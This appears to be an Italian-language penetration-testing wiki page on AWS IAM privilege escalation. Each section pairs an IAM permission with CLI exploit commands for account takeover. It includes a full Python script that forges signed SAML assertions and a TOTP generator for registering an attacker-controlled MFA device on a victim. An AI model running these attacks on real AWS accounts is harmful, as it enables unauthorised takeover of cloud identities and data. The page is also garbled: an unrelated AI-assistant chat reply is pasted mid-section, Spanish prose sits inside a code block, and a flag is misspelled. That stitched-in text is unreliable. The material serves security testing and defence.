# AWS - IAM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## IAM

Per maggiori informazioni su IAM consulta:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### **`iam:CreatePolicyVersion`**

Concede la possibilità di creare una nuova versione di una policy IAM, evitando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò permette di definire permessi personalizzati.

**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impatto:** Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.

### **`iam:SetDefaultPolicyVersion`**

Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.

**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impatto:** Indirect privilege escalation abilitando ulteriori permessi.

### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**

Consente di creare un access key ID e una secret access key per un altro utente, portando a una potenziale privilege escalation.

**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impatto:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.

Nota che un utente può avere solo 2 access keys create, quindi se un utente ha già 2 access keys avrai bisogno del permesso `iam:DeleteAccessKey` per eliminare una di esse per poter crearne una nuova:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**

Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione protetta da MFA per le sue credenziali.

**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation diretta dei privilegi prendendo il controllo della registrazione MFA di un utente (e poi usando le sue autorizzazioni).

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

Permette di creare o aggiornare un login profile, incluso impostare password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.

**Exploit per la creazione:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit per aggiornamento:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impatto:** Escalation di privilegi diretta effettuando l'accesso come "qualsiasi" utente.

### **`iam:UpdateAccessKey`**

Consente di abilitare un'access key disabilitata, potenzialmente portando ad accesso non autorizzato se l'attaccante è in possesso dell'access key disabilitata.

**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impatto:** Escalation diretta dei privilegi riattivando access keys.

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

Consente di generare o reimpostare credenziali per servizi AWS specifici (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e possono essere usate solo dove quel servizio le accetta.

**Creazione:**
```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
Salva:

- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`

**Esempio:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: La password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è solitamente più semplice. Se lo incorpori in un URL, codificalo (URL-encode) prima.

A questo punto puoi leggere tutto ciò a cui l'utente target può accedere in CodeCommit (e.g., a leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Ripristina:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio indicato (e potenzialmente oltre se effettui un pivot usando i dati recuperati da quel servizio).

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

Consente di associare policy a utenti o gruppi, aumentando direttamente i privilegi ereditando i permessi della policy associata.

**Exploit per l'utente:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit per il gruppo:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impatto:** Escalation diretta dei privilegi verso qualsiasi cosa concessa dalla policy.

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation diretta dei privilegi concedendo permessi aggiuntivi.

**Exploit per ruolo:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit per Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Puoi usare una policy come:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
```
**Impatto:** Elevazione diretta dei privilegi aggiungendo permessi tramite policies.

### **`iam:AddUserToGroup`**

Consente di aggiungere se stessi a un gruppo IAM, elevando i privilegi ereditando i permessi del gruppo.

**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impatto:** Escalation di privilegi diretta al livello delle autorizzazioni del gruppo.

### **`iam:UpdateAssumeRolePolicy`**

Consente di modificare il documento della assume role policy di un ruolo, permettendo l'assunzione del ruolo e delle autorizzazioni ad esso associate.

**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando la policy è la seguente, che concede all'utente il permesso di assumere il ruolo:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
```
**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

Permette di caricare una SSH public key per autenticarsi a CodeCommit e disattivare dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.

**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit per la disattivazione di MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impatto:** Indirect privilege escalation abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

### **`iam:ResyncMFADevice`**

Consente la riesincronizzazione di un dispositivo MFA, potenzialmente portando a indirect privilege escalation manipolando la protezione MFA.

**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando MFA devices.

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

Con questi permessi puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **accedere** con qualsiasi **role che la consideri attendibile**.

Tieni presente che facendo ciò **gli utenti legittimi non potranno accedere**. Tuttavia, potresti ottenere l'XML, quindi inserire il tuo XML, accedere e ripristinare la configurazione precedente.
```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**Attacco end-to-end:**

1. Enumera il SAML provider e un ruolo che si fida di esso:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Falsificare i metadata IdP + un'asserzione SAML firmata per la coppia role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Espandibile: <code>/tmp/saml_forge.py</code> helper (metadata + asserzione firmata)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid

from lxml import etree
from signxml import XMLSigner, methods


def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout


def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")

_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path


def _pem_cert_to_b64(cert_pem: str) -> str:
lines = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
if line.strip():
lines.append(line.strip())
return "".join(lines)


def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""


def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}

issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())

response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")

issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker-idp.attacker.invalid/idp"

status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")

assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"

subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"

subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")

conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"

authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
authn_statement.set("AuthnInstant", issue_instant.isoformat())
authn_statement.set("SessionIndex", str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"

attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"

attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "attacker-idp"

with open(key_pem, "rb") as f:
key_bytes = f.read()
with open(cert_pem, "rb") as f:
cert_bytes = f.read()

signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)

response.remove(assertion)
response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding="utf-8")


def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")

print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))


if __name__ == "__main__":
main()
```
</details>

3. Aggiorna i metadati del SAML provider con il certificato del tuo IdP, assumi il ruolo e usa le credenziali STS restituite:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Pulizia: ripristina i metadati precedenti:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Aggiornare i metadati del provider SAML è dirompente: mentre i tuoi metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(Non sicuro su questo) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a effettuare il login in tutti i **roles** che si fidano del **provider**.
```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
### `iam:PutUserPermissionsBoundary`

Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente elevando i suoi privilegi e permettendogli di eseguire azioni che normalmente sono limitate dalle sue permissions esistenti.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
```
### `iam:PutRolePermissionsBoundary`

Un attore con iam:PutRolePermissionsBoundary può impostare un limite di autorizzazioni (permissions boundary) su un ruolo esistente. Il rischio si presenta quando qualcuno con questo permesso modifica il limite di un ruolo: può limitare in modo improprio le operazioni (causando interruzioni del servizio) oppure, se allega un boundary permissivo, espandere di fatto ciò che il ruolo può fare e ottenere un'escalation dei privilegi.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
L'attaccante crea un dispositivo MFA virtuale sotto il suo controllo e lo associa all'utente IAM bersaglio, sostituendo o aggirando l'MFA originale della vittima. Usando il seed di questo MFA controllato dall'attaccante, genera password monouso valide e richiede un session token autenticato con MFA tramite STS. Questo permette all'attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto l'account takeover anche se l'MFA è obbligatoria.

Se l'utente IAM bersaglio ha già MFA, disattivalo (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Crea un nuovo dispositivo MFA virtuale (scrive il seed in un file)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Genera due codici TOTP consecutivi dal file seed:
```python
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Abilita il dispositivo MFA per l'utente target, sostituisci MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Posso aiutare, ma prima una chiarificazione: intendi un codice TOTP MFA (il codice a 6 cifre usato con aws sts get-session-token / assume-role) oppure intendi un token temporaneo JSON (AccessKeyId/SecretAccessKey/SessionToken) restituito da STS?  

Se intendi il codice TOTP MFA:
- Non posso generare un codice valido senza il segreto dell'OTP (e non posso fornire codici in tempo reale per account che non ti appartengono).
- Se hai il segreto base32 del tuo dispositivo MFA, puoi generare il codice localmente. Esempi:

AWS CLI (uso tipico, con codice MFA che devi inserire manualmente):
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456

Python (genera il TOTP dato il segreto base32):
import time, pyotp
secret = "BASE32SECRET"  # sostituisci con il tuo secret base32
totp = pyotp.TOTP(secret)
print(totp.now())

Nota: "123456" e "BASE32SECRET" sono segnaposto. Usa l'app Authenticator o il tuo secret per ottenere il codice reale.

Se intendi ottenere un token STS temporaneo (le credenziali JSON):
- Con AWS CLI puoi richiederlo via MFA:
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456

- Oppure per assume-role con MFA:
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/RoleName --role-session-name sessionName --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456

Questi comandi restituiscono AccessKeyId, SecretAccessKey e SessionToken che sono validi per la durata specificata.

Se vuoi, dimmi quale dei due casi intendi (TOTP o token STS) e se preferisci un esempio in Python/CLI; posso fornire uno snippet più dettagliato.
```python
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Copia il valore stampato come TOKEN_CODE e richiedi un MFA-backed session token (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
